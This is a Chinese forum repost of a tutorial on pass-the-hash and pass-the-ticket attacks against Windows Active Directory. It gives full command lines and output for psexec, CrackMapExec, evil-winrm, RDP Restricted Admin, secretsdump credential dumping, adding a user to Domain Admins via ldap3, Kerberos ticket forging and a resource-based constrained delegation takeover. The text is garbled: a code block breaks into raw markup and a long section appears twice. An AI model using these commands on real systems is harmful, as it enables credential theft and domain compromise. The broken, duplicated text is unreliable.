安全矩阵

 找回密码
 立即注册
搜索
查看: 899|回复: 0

传递哈希的另类用法(pth)

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-11-12 14:33:01 | 显示全部楼层 |阅读模式
衡阳信安 2023-11-12 00:00 发表于湖南
传递哈希的另类用法(pth)
您还记得第一次passed the hash吗? 它可能有点像这样:
  1. msf > use exploit/windows/smb/psexec
  2. msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
  3. SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
  4. msf exploit(psexec) > exploit
  5. [*] Sending stage (719360 bytes)
  6. [*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)
复制代码

如果您不熟悉 Metasploit PSexec 模块
好吧,现在我们不再真的这样做。你可能会像这样做
  1. cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local
  2. SMB     10.0.0.20   445  PC01   [*] Windows Server 2012 R2 Standard 9600 x64 (name:PC01) (domain:domain.local) (signing:False) (SMBv1:True)
  3. SMB     10.0.0.20   445  PC01    [+] domain.local\user BD1C6503987F8FF006296118F359FA79 (Pwn3d!)
复制代码

那就是使用CrackMapExec来传递哈希值。正如你可能已经知道,CrackMapExec的核心主要是impacket,默认的执行方法是使用wmiexec.py,可以使用如下的语法来通过impacket来单独使用它。
  1. wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
  2. [*] SMBv3.0 dialect used
  3. [!] Launching semi-interactive shell - Careful what you execute
  4. [!] Press help for extra shell commands
  5. C:\>
复制代码

您会发现,基本上impacket的示例方法都允许您去传递哈希。
接下来我要谈的是一些对你来说比较新颖的传递哈希的方法。
WinRM
内容: 简要地说Windows远程管理(WinRM)是另一种远程管理WMI和其他类似协议的方法。并且使用一组不同的端口。WinRM使用5985端口(HTTP)或者5986(HTTPS)。
用途: 有时候你会发SMB没有打开, 或者某些终端保护阻止您使用标准的工具集。
作法: 可以使用包括CrackMapExec在内的各种工具来完成此操作,但现在我比较喜欢evil-winrm,因为它保护许多其他的特点。用evil-winrm 来传递hash非常容易,它看起来像这样:
  1. ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79

  2. Evil-WinRM shell v2.3
  3. Info: Establishing connection to remote endpoint
  4. *Evil-WinRM* PS C:\Users\user\Documents>
复制代码

资源:
https://pentestlab.blog/2018/05/15/lateral-movement-winrm/
https://bohops.com/2020/05/12/ws ... m-lateral-movement/
RDP
内容: 远程桌面是一项程序或操作系统功能,它使客户能够连接到其他位置的计算机,查看该计算机的桌面并与它进行交互,就好像在本地计算机操作一样。
用途:通常,在渗透测试期间,你可能希望访问用户系统上安装的只能通过图形化界面使用的软件。这可能是通过GUI轻松导出的密码管理器或者是其他软件,这些软件可以执行原本不可能/难以使用操作。您可能想要传递无法无法破解的NT hash和接管他们的会话。
作法:你可以使用xfreerdp来传递哈希。但是,有一个重要的警告,那就是只有在系统启用了"受限管理模式"时才有可能。如果未启用该功能,而您尝试pth,则会收到一个错误信息,指出"帐户限制阻止该用户登录.默认情况下,"受限管理模式"为禁用状态。好消息是如果您具有对该系统的管理员访问权限以及对SMB/WinRM/等,则可以远程启用这个功能。
  1. cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
  2. SMB 10.0.0.200 445 DESKTOP [*] Windows 10.0 Build 18362 x64 (name:DESKTOP) (domain:DESKTOP) (signing:False) (SMBv1:False)
  3. SMB 10.0.0.200 445 DESKTOP [+] DESKTOP\Administrator 8846F7EAEE8FB117AD06BDD830B7586C (Pwn3d!)
  4. SMB 10.0.0.200 445 DESKTOP [+] Executed command
  5. SMB 10.0.0.200 445 DESKTOP The operation completed successfully.
复制代码

一旦设置了注册表项,就可以使用xfreerdp传递哈希值
  1. xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C
复制代码

资源:
https://www.kali.org/penetration-testing/passing-hash-remote-desktop/
https://shellz.club/pass-the-hash-with-rdp-in-2019/
https:// labs。f-secure.com/blog/undisable/
smbclient
内容: smbclient 是类似于FTP的客户端,用于与SMB/CIFS资源交互。
用途:尽管恢复了有效的哈希值,但有时您可能仍无权对系统进行管理访问。考虑如下场景:
你控制了一台主机并且转储了哈希,其中之一属于财务负责人。他们没有对基础结构的管理访问权,但可以访问文件服务器上搜集的保密数据。
作法:smbclient 拥有-pw-nt-hash 标志,可用于传递NT Hash
  1. smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
  2. Try "help" to get a list of possible commands.
  3. smb: \>
复制代码

LDAP
内容: Active Directory(活动目录)是Windows通用目录服务的实现,该服务使用LDAP作为其主要访问协议。
用途:通常,我发现最好的活动目录攻击链通常涉及利用ACLS。考虑一个常见的渗透测试场景:您已经获得对IT管理员组的用户的NT hash的访问权限,该管理员可以通过exchange 服务器进行管理员访问。您没有通过域控制器的管理员访问权限。Exchange服务器是Exchange Trusted Subsystem组的成员,而该组是Exchange Trusted Subsystem的组成员,这个组对域具有WriteDACL访问权限。同样重要的是,获取计算机账户和密码,并且这些密码实际上不可破解的,这就是为什么传递哈希值非常有用的原因。
作法:首先,为Exchange服务器恢复NT hash
  1. secretsdump.py ituser@10.0.0.40 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

  2. [*] Dumping LSA Secrets
  3. [*] $MACHINE.ACC
  4. DOMAIN\EXCHANGE$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
  5. DOMAIN\EXCHANGE$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
  6. DOMAIN\EXCHANGE$:des-cbc-md5:cd4308d6f285fc82
  7. DOMAIN\EXCHANGE$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
复制代码

拥有Exchange服务器的NT hash后,就可以用ldap3向域控制器进行身份验证,并通过传递哈希进行身份验证。从这里您可以执行很多操作,比如包括将控制的用户添加到Domain Admins组等简单攻击。在此示例中,您当然也可以使用Exchange账户通过secretsdump.py进行Dcsync。如果你只是获取到了Server Operators 组成员的NT hash,则将无法进行Dcsync,但可以使用此方法将用户添加到某些组以扩展访问权限。
  1. python3
  2. >>> import ldap3
  3. >>> user = 'DOMAIN\\EXCHANGE
  4. [align=left][color=rgb(51, 51, 51)][font=&quot][size=15px][b]资源[/b]:[/size][/font][/color][/align][align=left][color=rgb(51, 51, 51)][font=&quot][size=15px]https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/[/size][/font][/color][/align][b]Pass the Ticket[/b][align=left][color=rgb(51, 51, 51)][font=&quot][size=15px][b]内容[/b]: 通过票证(ptT) 是一种使用Kerberos票证对系统进行身份验证的方法,而无需访问账户密码。[/size][/font][/color][/align][align=left][color=rgb(51, 51, 51)][font=&quot][size=15px][b]用途[/b]:可能无法通过NTLM进行身份验证,并且仅允许Kerberos身份验证。我甚至不会尝试去介绍Kerberos协议如何工作(真心地说我也没很好掌握它),但是了解如何在攻击中使用它非常有用。[/size][/font][/color][/align][align=left][color=rgb(51, 51, 51)][font=&quot][size=15px][b]作法[/b]:在Linux上创建Kerberos票据的一般做法是使用带有用户名、域和密码的[b]kinit[/b]。如果您没有密码,这是一个问题。幸运地是,impacket 有一个工具,允许您使用NT哈希从域控制器中获取有效的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具,您需要对其进行设置。[/size][/font][/color][/align][list]
  5. [*][align=left]安装Kerberos软件包[/align]
  6. [*][align=left]配置AD领域[/align]
  7. [*][align=left]使DNS正常工作[/align]
  8. [*][align=left]同步time[/align]
  9. [/list][align=left][color=rgb(51, 51, 51)][font=&quot][size=15px]要使用NT hash创建Kerberos的TGT,请运行如下命令:[/size][/font][/color][/align][code]python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user

  10. Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

  11. [*] Saving ticket in user.ccache
复制代码

您将需要将票证复制到/tmp/krb5cc_0,因为许多工具都在该位置查找票证。你同意需要将KRB5CCNAME 环境变量设置为票据所在的位置,因为某些工具使用它来寻找票据的位置。
  1. cp user.ccache /tmp/krb5cc_0
  2. export KRB5CCNAME=/tmp/krb5cc_0
复制代码

你可以使用klist验证票据。
  1. klist
  2. Credentials cache: FILE:/tmp/krb5cc_0
  3. Principal: user@domain.local

  4. Issued                Expires               Principal
复制代码

现在,您已经有了凭证,可以将其与所有impacket工具一起使用,用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样,这将在某些特定情况下非常有用。请注意,无论何时使用Kerberos身份验证,您都将要使用目标的DNS名称而不是IP地址。(*坑点)
资源:
https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
Mount
内容:在Linux上,可以选择cifs挂载方式的工具将windows共享安装在本地目录树中特点的位置上。
用途:虽然我们可以使用smbclient传递哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用,这样你就可以通过Linux命令行或GUI文件浏览器与之交互。为了增加用户体验,你甚至可以使用SSHFS公开此挂载点,因此您可以在本地Windows或Mac文件浏览器的舒适环境下浏览共享。
作法:挂载共享时,您不能传递哈希, 但可以连接Kerberos票证(通过传递哈希获得)。使用类似于如下的命令来安装共享。如果失败,并显示错误"No such file or directory",这通常意味着您的票据不合法,或者权限不允许挂载查看。
  1. sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share
复制代码

ssh
内容: SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机进行安全远程登录的方法。
用途:SSH是登录Unix和Linux系统的标准方法。windows的所有exec方法都不可用。通常,唯一真正远程访问这些系统的方法是通过SSH协议。在大型组织中,我经常发现Linux系统会被加进活动目录中。如果你有很多域组,请搜索他们以查看名称中是否包含unix/linux,这说明unix/linux系统可能已经加入域了。
作法:您无法将哈希传递给SSH,但是可以与Kerberos票证(通过传递哈希得到)连接。首先尝试,使用SSH链接并启用详细信息。
  1. ssh -o GSSAPIAuthentication=yes user@domain.local -vv
  2. debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
  3. debug1: Next authentication method: gssapi-with-mic
  4. debug1: Unspecified GSS failure.  Minor code may provide more information
  5. No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)
复制代码

您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。
  1. cp user.ccache /tmp/krb5cc_1045
复制代码

一旦将你的票据放置正确,尝试再去连接。如果仍然没有起作用,还可以使用 -l 来指定用户名。
  1. ssh -o GSSAPIAuthentication=yes user@domain.local

  2. [user@computer ~]$
复制代码

基于资源的约束委派(RBCD)
内容:如果您对计算机具有写特权(WriteDACL, GenericWrite, GenericAll等).则可以在该对象获取的提升权限的命令执行力。
这不是将哈希传递到前面提到之外的新方法,但是此攻击链结合了多种PTH技术,比如通过SMB进行PTH,将PTH传递给LDAP,PTH获取Kerberos票据,并最终通过票证。
在此实例中,我们假设一个计算机对象具有对另一计算机对象的写权限。
用途:通常,我发现的环境中没有简单的攻击路径,并且活动目录的权限提升需要基于ACL的攻击。
作法:
首先,将具有管理访问权限的用户的Hash传递到第一台计算机,以恢复该计算机的NT Hash
  1. secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

  2. [*] Dumping LSA Secrets
  3. [*] $MACHINE.ACC
  4. DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
  5. DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
  6. DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
  7. DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
复制代码

第二 使用rbcd_permissions 脚本通过LDAP将计算机账户的哈希传递到控制器,用于更新第二台计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。浙江允许第一台计算机模拟该系统上任何的域用户。
  1. python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local'  -l DC1.domain.local
  2. Successfully added permissions!
复制代码

使用impacket的 getST.py脚本使用第一台计算机的hash去为第二台计算机创建一个管理员权限的服务票据。
  1. getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$
  2. [*] Getting TGT for user
  3. [*] Impersonating DA
  4. [*]     Requesting S4U2self
  5. [*]     Requesting S4U2Proxy
  6. [*] Saving ticket in DA.ccache
复制代码

创建票据后,ptt到第二台计算机以获得对他的管理访问权限。转储哈希值,反弹shell或者做任何你想要在该系统做的事情。
资源:
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
https://www.thehacker.recipes/ac ... ed-delegations-rbcd
总结
无论有/无传递hash以及Linux/Window的情况, 都有许多执行上述操作的方法。但是我想展示一下我发现的在传递哈希值非常有用的方法。由于开放源代码工具(OST)开发人员以及对这些技术进行了详细描述的博客作者的出色工作,使得很多事情都是可能的。
来源:https://xz.aliyun.com/ 感谢【xq17】


>>> password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
>>> server = ldap3.Server('DOMAIN.LOCAL')
from ldap3 import Server, Connection, SIMPLE, SYNC, ALL, SASL, NTLM
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
>>> connection.bind()
>>> from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
>>> user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
>>> group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
>>> addUsersInGroups(connection, user_dn, group_dn)
True[/code]
资源:
https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/
Pass the Ticket
内容: 通过票证(ptT) 是一种使用Kerberos票证对系统进行身份验证的方法,而无需访问账户密码。
用途:可能无法通过NTLM进行身份验证,并且仅允许Kerberos身份验证。我甚至不会尝试去介绍Kerberos协议如何工作(真心地说我也没很好掌握它),但是了解如何在攻击中使用它非常有用。
作法:在Linux上创建Kerberos票据的一般做法是使用带有用户名、域和密码的kinit。如果您没有密码,这是一个问题。幸运地是,impacket 有一个工具,允许您使用NT哈希从域控制器中获取有效的票证授予票证(TGT).不幸地是,Linux发行版通常没有安装Kerberos工具,您需要对其进行设置。
  • 安装Kerberos软件包
  • 配置AD领域
  • 使DNS正常工作
  • 同步time

要使用NT hash创建Kerberos的TGT,请运行如下命令:
  1. python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user

  2. Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

  3. [*] Saving ticket in user.ccache
复制代码

您将需要将票证复制到/tmp/krb5cc_0,因为许多工具都在该位置查找票证。你同意需要将KRB5CCNAME 环境变量设置为票据所在的位置,因为某些工具使用它来寻找票据的位置。
  1. cp user.ccache /tmp/krb5cc_0
  2. export KRB5CCNAME=/tmp/krb5cc_0
复制代码

你可以使用klist验证票据。
  1. klist
  2. Credentials cache: FILE:/tmp/krb5cc_0
  3. Principal: user@domain.local

  4. Issued                Expires               Principal
复制代码

现在,您已经有了凭证,可以将其与所有impacket工具一起使用,用来提供密码或者NT哈希的备选方案。正如你接下来看到的那样,这将在某些特定情况下非常有用。请注意,无论何时使用Kerberos身份验证,您都将要使用目标的DNS名称而不是IP地址。(*坑点)
资源:
https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
Mount
内容:在Linux上,可以选择cifs挂载方式的工具将windows共享安装在本地目录树中特点的位置上。
用途:虽然我们可以使用smbclient传递哈希,但其类似FTP的接口可能会受到限制.挂载共享通常更有用,这样你就可以通过Linux命令行或GUI文件浏览器与之交互。为了增加用户体验,你甚至可以使用SSHFS公开此挂载点,因此您可以在本地Windows或Mac文件浏览器的舒适环境下浏览共享。
作法:挂载共享时,您不能传递哈希, 但可以连接Kerberos票证(通过传递哈希获得)。使用类似于如下的命令来安装共享。如果失败,并显示错误"No such file or directory",这通常意味着您的票据不合法,或者权限不允许挂载查看。
  1. sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share
复制代码

ssh
内容: SSH协议(也成为Secure Shell)是一种用于从一台计算机到另一台计算机进行安全远程登录的方法。
用途:SSH是登录Unix和Linux系统的标准方法。windows的所有exec方法都不可用。通常,唯一真正远程访问这些系统的方法是通过SSH协议。在大型组织中,我经常发现Linux系统会被加进活动目录中。如果你有很多域组,请搜索他们以查看名称中是否包含unix/linux,这说明unix/linux系统可能已经加入域了。
作法:您无法将哈希传递给SSH,但是可以与Kerberos票证(通过传递哈希得到)连接。首先尝试,使用SSH链接并启用详细信息。
  1. ssh -o GSSAPIAuthentication=yes user@domain.local -vv
  2. debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
  3. debug1: Next authentication method: gssapi-with-mic
  4. debug1: Unspecified GSS failure.  Minor code may provide more information
  5. No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1045)
复制代码

您可能会看到它在其他地方期待krb5票据(取决于您的UID),因此将票证移到那里。
  1. cp user.ccache /tmp/krb5cc_1045
复制代码

一旦将你的票据放置正确,尝试再去连接。如果仍然没有起作用,还可以使用 -l 来指定用户名。
  1. ssh -o GSSAPIAuthentication=yes user@domain.local

  2. [user@computer ~]$
复制代码

基于资源的约束委派(RBCD)
内容:如果您对计算机具有写特权(WriteDACL, GenericWrite, GenericAll等).则可以在该对象获取的提升权限的命令执行力。
这不是将哈希传递到前面提到之外的新方法,但是此攻击链结合了多种PTH技术,比如通过SMB进行PTH,将PTH传递给LDAP,PTH获取Kerberos票据,并最终通过票证。
在此实例中,我们假设一个计算机对象具有对另一计算机对象的写权限。
用途:通常,我发现的环境中没有简单的攻击路径,并且活动目录的权限提升需要基于ACL的攻击。
作法:
首先,将具有管理访问权限的用户的Hash传递到第一台计算机,以恢复该计算机的NT Hash
  1. secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

  2. [*] Dumping LSA Secrets
  3. [*] $MACHINE.ACC
  4. DOMAIN\$:aes256-cts-hmac-sha1-96:fbc8df96a7709ec33edc50d2d9394d8e28c6bc65697f9bdfaf78009850cfa69d
  5. DOMAIN\PC01$:aes128-cts-hmac-sha1-96:fe0acc236a82bd74fdcaa593f51481f2
  6. DOMAIN\PC01$:des-cbc-md5:cd4308d6f285fc82
  7. DOMAIN\PC01$:aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248:::
复制代码

第二 使用rbcd_permissions 脚本通过LDAP将计算机账户的哈希传递到控制器,用于更新第二台计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。浙江允许第一台计算机模拟该系统上任何的域用户。
  1. python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local'  -l DC1.domain.local
  2. Successfully added permissions!
复制代码

使用impacket的 getST.py脚本使用第一台计算机的hash去为第二台计算机创建一个管理员权限的服务票据。
  1. getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$
  2. [*] Getting TGT for user
  3. [*] Impersonating DA
  4. [*]     Requesting S4U2self
  5. [*]     Requesting S4U2Proxy
  6. [*] Saving ticket in DA.ccache
复制代码

创建票据后,ptt到第二台计算机以获得对他的管理访问权限。转储哈希值,反弹shell或者做任何你想要在该系统做的事情。
资源:
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
https://www.thehacker.recipes/ac ... ed-delegations-rbcd
总结
无论有/无传递hash以及Linux/Window的情况, 都有许多执行上述操作的方法。但是我想展示一下我发现的在传递哈希值非常有用的方法。由于开放源代码工具(OST)开发人员以及对这些技术进行了详细描述的博客作者的出色工作,使得很多事情都是可能的。
来源:https://xz.aliyun.com/ 感谢【xq17】

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:28 , Processed in 0.014816 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表